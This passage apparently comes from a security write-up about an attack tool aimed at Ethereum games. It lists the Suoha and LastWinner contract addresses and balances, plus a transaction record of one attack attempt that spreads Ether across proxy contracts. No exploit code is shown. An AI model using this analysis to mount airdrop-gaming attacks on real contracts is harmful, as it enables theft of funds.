The information on Suoha game is as follows.

Suoha contract address:
0x460A5098248f4aa1A46Eec6AAc78B7819ea01C42
creator:
0x51e6c95A7C123614Dbb4a25Def5d756b2C6a6643
source code of the contract:
https://etherscan.io/address/0x460a5098248f4aa1a46eec6aac78b7819ea01c42#code
Balance: 1.982490810440340107 Ether
EtherValue: $345.73 (@ $174.39/ETH)

The attack contract creator also points his attack tool to LastWinner game. Here is an example attack that was launched on LastWinner with this attack tool.

Transaction Hash: 0x211a73203263be95452169bc9af429ba982b67a7a085cd76373b335ed14dc132
Status: Success
Block: 6111432 2386326 Block Confirmations
Timestamp: 394 days 1 hr ago (Aug-08-2018 04:24:59 PM +UTC)
From: 0x20c945800de43394f70d789874a4dac9cfa57451
To: Contract 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x76c94387d09c6596049a605226424735beae48b5
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x6d7c95e3e69d19197390651b6f29f71bca9c835c
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x2578de0ba8c87263a75d3073872a967702208eed
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0xcbe8cae6ce88399c20ba9872c523b8aad188d8b9
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x1183dc406dafcfa0c2d87e24a84ff50055e7c4f7
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x6dd0ef7095acadddc6460d9b223d68228d0d11ae
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0xac1df62bab99c7e0a5debbf48f61c0060de2b2fe
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x609cad6eb04f287de7e998e1dff54dab234db575
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x7e1360788befe1997f084cfde7b565baf8f0162b
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x1053864a1f90bb2cf02c834ff47e5e3b703a52fc
TRANSFER 0.1 Ether From 0x39ac9900e003b2a4b179d7c5902b818ae06a70a8 To 0x20c945800de43394f70d789874a4dac9cfa57451
Value: 0.1 Ether ($17.58)
Transaction Fee: 0.053390921 Ether ($9.39)
Gas Limit: 2,600,000
Gas Used by Transaction: 875,261 (33.66%)
Gas Price: 0.000000061 Ether (61 Gwei)
Nonce Position 1165 89
Input Data:
66607621
000000000000000000000000dd9fd6b6f8f7ea932997992bbe67eabb3e316f3c

In this attack against LastWinner, it seems that the attack contract can not find a proxy contract that can win the airdrop, thus, the attack contract decides not to play the game.

The information on LastWinner game is as follows.

last winner contract address:
0xDd9fd6b6F8f7ea932997992bbE67EabB3e316f3C
last winner contract creator:
0xEAe69cADEB04E66767bD69f52e0fFFc28E37d799
source code is unavailableBalance: 4,023.462725769377085904 Ether
EtherValue: $706,439.59 (@ $175.58/ETH)
total transactions: 601,678

References

--

--